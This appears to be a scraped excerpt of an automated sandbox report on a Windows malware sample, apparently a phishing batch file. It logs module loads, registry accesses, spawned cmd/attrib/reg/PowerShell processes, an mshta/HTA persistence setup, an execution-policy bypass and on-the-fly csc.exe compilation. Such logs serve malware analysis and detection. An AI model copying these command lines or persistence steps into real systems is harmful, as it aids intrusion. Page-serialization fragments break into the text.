7ffb5c490000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffb57d00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffb57c90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffb57bb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffb6af70000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffb4aff0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffb4ae80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffb4a170000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffb68060000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffb49f30000 "powershell.exe" loaded module "ADVAPI32" at base 7ffb7eca0000 "explorer.exe" loaded module "SHELL32.DLL" at base 7ffb7ee30000 "explorer.exe" loaded module "%WINDIR%\TEMP\VXSSL64.DLL" at base 7ffb68cf0000 "explorer.exe" loaded module "MSCOREE.DLL" at base 7ffb6b2b0000 "explorer.exe" loaded module "AMSI.DLL" at base 7ffb6bee0000 "explorer.exe" loaded module "ADVAPI32.DLL" at base 7ffb7eca0000 "explorer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffb7df10000 "explorer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffb7df10000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffb7df10000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffb5a360000 "explorer.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffb7d550000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffb58100000 "explorer.exe" loaded module "USER32.DLL" at base 7ffb80470000 "explorer.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffb7df10000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "explorer.exe" loaded module "SHLWAPI.DLL" at base 7ffb7eba0000 "explorer.exe" loaded module "NTDLL" at base 7ffb81170000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffb7e7d0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffb4fdc0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "explorer.exe" loaded module "OLE32.DLL" at base 7ffb80270000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "explorer.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffb7e7d0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffb7c900000 "explorer.exe" loaded module "KERNEL32.DLL" at base 7ffb7eaf0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "explorer.exe" loaded module "OLEAUT32.DLL" at base 7ffb7e6d0000 "explorer.exe" loaded module "WLDP.DLL" at base 7ffb7c520000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffb73d70000 "explorer.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffb6b290000 "explorer.exe" loaded module "KERNEL32" at base 7ffb7eaf0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\3DFF6M0S.DLL" at base 7ffb6b240000 "explorer.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffb7df10000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffb57d00000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffb4f150000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ffb49d30000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ffb48c80000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffb4e6d0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffb57e50000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffb4bdb0000 "explorer.exe" loaded module "NTDLL.DLL" at base 7ffb81170000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "explorer.exe" loaded module "BCRYPT.DLL" at base 7ffb7d020000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "explorer.exe" loaded module "PSAPI.DLL" at base 7ffb810d0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "explorer.exe" loaded module "COMBASE.DLL" at base 7ffb7e7d0000 "explorer.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffb7e7d0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffb5cba0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WMINET_UTILS.DLL" at base 7ffb6b470000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffb7df10000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ffb716e0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffb73460000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffb71740000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffb7df10000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffb7df10000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffb70700000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "explorer.exe" loaded module "ADVAPI32" at base 7ffb7eca0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "explorer.exe" loaded module "VERSION.DLL" at base 7ffb73d70000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\WEBENGINE4.DLL" at base 7ffb5e180000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WEBENGINE4.DLL" at base 7ffb5e180000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.WEB\V4.0_4.0.0.0__B03F5F7F11D50A3A\WEBENGINE4.DLL" at base 0 "explorer.exe" loaded module "WEBENGINE4.DLL" at base 7ffb5e180000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.SECURITY\V4.0_4.0.0.0__B03F5F7F11D50A3A\CRYPT32.DLL" at base 0 "explorer.exe" loaded module "CRYPT32.DLL" at base 7ffb7e3d0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.RUNTEB92AA12#\59A4984A6AFE6B209EAAA379927AB81D\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 7ffb4e380000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffb69f30000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffb4da10000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffb4d6a0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\MSVCRT.DLL" at base 0 "explorer.exe" loaded module "MSVCRT.DLL" at base 7ffb7ec00000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "explorer.exe" loaded module "IPHLPAPI.DLL" at base 7ffb7ca80000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "explorer.exe" loaded module "WS2_32.DLL" at base 7ffb80d10000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffb7ccf0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7ffb6afa0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7ffb6af80000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\NLAAPI.DLL" at base 7ffb78a00000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7ffb730d0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffb75150000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffb765f0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NET.HTTP\04AB5D047CC99FC5DAD36592F805B227\SYSTEM.NET.HTTP.NI.DLL" at base 7ffb5a0c0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "explorer.exe" loaded module "RASAPI32.DLL" at base 7ffb71070000 "explorer.exe" loaded module "RASMAN.DLL" at base 7ffb70ff0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "explorer.exe" loaded module "WINHTTP.DLL" at base 7ffb79c20000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffb5f840000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "explorer.exe" loaded module "SECUR32.DLL" at base 7ffb73d60000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffb7c840000 "explorer.exe" loaded module "SSPICLI.DLL" at base 7ffb7d3f0000 "explorer.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffb6de70000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffb6f4d0000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "explorer.exe" loaded module "GDI32.DLL" at base 7ffb7e7a0000 "explorer.exe" loaded module "GDIPLUS.DLL" at base 7ffb5c4f0000 "explorer.exe" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_46B9C4E9EDF1CFA5\GDIPLUS.DLL" at base 7ffb5c4f0000 "explorer.exe" loaded module "WINDOWSCODECS.DLL" at base 7ffb795000003f:T433,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "explorer.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "explorer.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "explorer.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "explorer.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "explorer.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "explorer.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS")40:T5d1,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00004424-00000BC0-2020661412] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00004424-00000C47-2508713050] Observed system executable string:"%WINDIR%\system32\cmd.exe /K "C:\RFQ#126826.03.26-mvArunaCengiz_IMO9552331_.bat"" [Source: 00000000-00004424-00000C47-2508713050] Observed system executable string:"%WINDIR%\system32\attrib.exe" [Source: 00000000-00001468-00000C47-1817098650] Observed system executable string:"%WINDIR%\system32\reg.exe" [Source: 00000000-00001468-00000C47-1934342140] Observed system executable string:"%WINDIR%\System32\attrib.exe" [Source: 00000000-00001468-00000BC0-2021548525] Observed system executable string:"%WINDIR%\System32\reg.exe" [Source: 00000000-00001468-00000BC0-2021598519] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00001468-00000BC0-2026805457] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" [Source: 00000000-00004004-00000BC0-2044652832] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\wdkx4uyy\wdkx" [Source: 00000000-00004004-00000C47-25330997178], Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\ubgrkq2f\ubgr" [Source: 00000000-00004004-00000C47-27254851570]41:T21b9,Process "cmd.exe" (UID: 00000000-00001468) was launched with new environment variables: "data="DESKTOP-FVVF82A", emergency="92", SPECIAL="65", FRESH="43444", Horse="12138", USERDNSDOMAIN="DESKTOP-FVVF82A", RESPONSIBLE="5575", SUCCEED="60", PROSPECT="1", IMPACT="14299", Proposal="83", Heavily="70", Jury="23656", ZTPKTTY="1", immigration="22040", SUPER="97", Hungry="44", Correct="DESKTOP-FVVF82A", Recommend="84", Tell="45951"" Process "cmd.exe" (UID: 00000000-00001468) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00001468) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "attrib.exe" (UID: 00000000-00002172) was launched with new environment variables: "Origin="DESKTOP-FVVF82A", kiss="DESKTOP-FVVF82A", NARROW="26074", white="1", Production="30880", prime="DESKTOP-FVVF82A", STYLE="45301", DEMOCRATIC="26129", forget="93", VICTORY="DESKTOP-FVVF82A", Museum="DESKTOP-FVVF82A", soup="86", crucial="DESKTOP-FVVF82A", Language="25540", Disappear="28344", Tribe="DESKTOP-FVVF82A", SENATOR="14", Initial="23312"" Process "attrib.exe" (UID: 00000000-00002172) was launched with modified environment variables: "emergency, SPECIAL, FRESH, Horse, RESPONSIBLE, SUCCEED, IMPACT, Proposal, Heavily, Jury, immigration, SUPER, Hungry, Recommend, Tell" Process "attrib.exe" (UID: 00000000-00007244) was launched with new environment variables: "hta_p="%APPDATA%\Microsoft\Windows\Templates\Together.hta"" Process "reg.exe" (UID: 00000000-00004144) was launched with new environment variables: "mcmd="mshta.exe"" Process "powershell.exe" (UID: 00000000-00002240) was launched with new environment variables: "Buck="90", EXTRA="11693", CLOSE="30259", preparation="DESKTOP-FVVF82A", song="1060", resistance="DESKTOP-FVVF82A", Shape="power", Illegal="34656", Birth="41", Chip="1", WRAP="1", REPRESENT="powershell", Presentation="1", Extraordinary="1", Depending="19816", COLUMN="1", Detailed="shell"" Process "csc.exe" (UID: 00000000-00005596) was launched with new environment variables: "computername="DESKTOP-FVVF82A", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", comspec="%WINDIR%\system32\cmd.exe", depending="19816", tmp="%LOCALAPPDATA%\Temp", narrow="26074", proposal="47", ztpktty="1", shape="power", sslkeylogfile="%TEMP%\sslkey.txt", impact="14151", birth="41", userprofile="C:\Users\%OSUSER%", horse="22452", programfiles="C:\Program Files", processor_level="6", style="45301", userdomain_roamingprofile="DESKTOP-FVVF82A", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", processor_architecture="AMD64", logonserver="%HOSTNAME%", recommend="36", nvm_symlink="%PROGRAMFILES%\nodejs", hungry="14", close="30259", chip="1", initial="23312", column="1", programdata="C:\ProgramData", prospect="1", nvm_home="%APPDATA%\nvm", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", wrap="1", systemdrive="C:", represent="powershell", correct="DESKTOP-FVVF82A", tell="56703", programw6432="C:\Program Files", language="25540", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", presentation="1", psexecutionpolicypreference="Bypass", homepath="\Users\%OSUSER%", sessionname="Console", processor_revision="4f00", localappdata="%USERPROFILE%\AppData\Local", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", illegal="34656", number_of_processors="8", senator="14", museum="DESKTOP-FVVF82A", tribe="DESKTOP-FVVF82A", userdnsdomain="DESKTOP-FVVF82A", production="30880", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", origin="DESKTOP-FVVF82A", disappear="28344", systemroot="C:\WINDOWS", userdomain="DESKTOP-FVVF82A", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", buck="90", extra="11693", responsible="32393", democratic="26129", temp="%LOCALAPPDATA%\Temp", jury="29627", os="Windows_NT", victory="DESKTOP-FVVF82A", heavily="97", special="9", super="92", extraordinary="1", detailed="shell", succeed="31", fresh="43629", prompt="$P$G", _clrrestrictsecattributes="1", appdata="%USERPROFILE%\AppData\Roaming", username="%OSUSER%"" Process "csc.exe" (UID: 00000000-00005596) was launched with missing environment variables: "Origin, NVM_SYMLINK, Buck, SSLKEYLOGFILE, EXTRA, SESSIONNAME, ALLUSERSPROFILE, CLOSE, FRESH, SystemDrive, USERNAME, ProgramFiles(x86), PATHEXT, STYLE, PROSPECT, HOMEPATH, VICTORY, PROCESSOR_IDENTIFIER, Museum, ProgramFiles, PUBLIC, Shape, Illegal, PROMPT, Birth, Chip, OneDrive, APPDATA, Disappear, SENATOR, Path, WRAP, COMPUTERNAME, REPRESENT, Presentation, Correct, ComSpec, Extraordinary, HOMEDRIVE, NUMBER_OF_PROCESSORS, Initial, USERDOMAIN_ROAMINGPROFILE, Depending, PROCESSOR_LEVEL, COLUMN, PROCESSOR_ARCHITECTURE, SPECIAL, NARROW, PSModulePath, Horse, Production, USERDNSDOMAIN, CURL_CA_BUNDLE, RESPONSIBLE, SUCCEED, DEMOCRATIC, ProgramData, ProgramW6432, IMPACT, Proposal, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, Heavily, Detailed, Jury, Language, ZTPKTTY, Tribe, CommonProgramFiles, SUPER, OS, Hungry, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, SystemRoot, TEMP, Recommend, USERPROFILE, Tell, TMP, CommonProgramFiles(x86)" Process "explorer.exe" (UID: 00000000-00005396) was launched with new environment variables: "NVM_SYMLINK="%PROGRAMFILES%\nodejs", SSLKEYLOGFILE="%TEMP%\sslkey.txt", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", SystemDrive="C:", USERNAME="%OSUSER%", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", HOMEPATH="\Users\%OSUSER%", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", Path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%NVM_HOME%;%NVM_SYMLINK%;%APPDATA%\nvm;C:\Program Files\nodejs", COMPUTERNAME="DESKTOP-FVVF82A", ComSpec="%WINDIR%\system32\cmd.exe", HOMEDRIVE="C:", NUMBER_OF_PROCESSORS="2", USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", PROCESSOR_LEVEL="6", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", USERDNSDOMAIN="DESKTOP-FVVF82A", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", LOCALAPPDATA="%USERPROFILE%\AppData\Local", USERDOMAIN="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", CommonProgramFiles="%PROGRAMFILES%\Common Files", OS="Windows_NT", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", SystemRoot="C:\WINDOWS", TEMP="%LOCALAPPDATA%\Temp", USERPROFILE="C:\Users\%OSUSER%", TMP="%LOCALAPPDATA%\Temp", CommonProgramFiles(x86)="%PROGRAMFILES%\(x86)\Common Files"" Process "explorer.exe" (UID: 00000000-00005396) was launched with missing environment variables: "computername, kiss, pathext, preparation, path, comspec, depending, tmp, narrow, prime, proposal, song, ztpktty, shape, sslkeylogfile, impact, birth, userprofile, resistance, horse, programfiles, processor_level, style, userdomain_roamingprofile, commonprogramfiles(x86), processor_architecture, logonserver, recommend, nvm_symlink, hungry, close, chip, immigration, initial, column, hta_p, programdata, prospect, nvm_home, programfiles(x86), psmodulepath, onedrive, wrap, systemdrive, represent, correct, data, tell, emergency, programw6432, language, commonprogramfiles, homedrive, presentation, psexecutionpolicypreference, white, homepath, sessionname, processor_revision, mcmd, localappdata, curl_ca_bundle, illegal, number_of_processors, senator, forget, museum, tribe, userdnsdomain, soup, production, processor_identifier, crucial, origin, disappear, systemroot, userdomain, commonprogramw6432, allusersprofile, public, buck, extra, responsible, democratic, temp, jury, os, victory, heavily, special, super, extraordinary, detailed, succeed, fresh, prompt, _clrrestrictsecattributes, appdata, username"42:T17c6,Observed system executable string:"C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\wdkx4uyy\wdkx4uyy.0.cs"Microsoft (R) Visual C# Compiler version 4.8.3761.0for C# 5Copyright (C) Microsoft Corporation. All rights reserved.This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240" [Source: wdkx4uyy.out] Observed system executable string:"C:\> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\HAPUBWS\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.0.cs"Microsoft (R) Visual C# Compiler version 4.8.3761.0for C# 5Copyright (C) Microsoft Corporation. All rights reserved.This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240" [Source: ubgrkq2f.out] Observed system executable string:"/t:library /utf8output /R:"System.dll" /R:"C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\HAPUBWS\AppData\Local\Temp\ubgrkq2f\ubgrkq2f.dll" /debug- 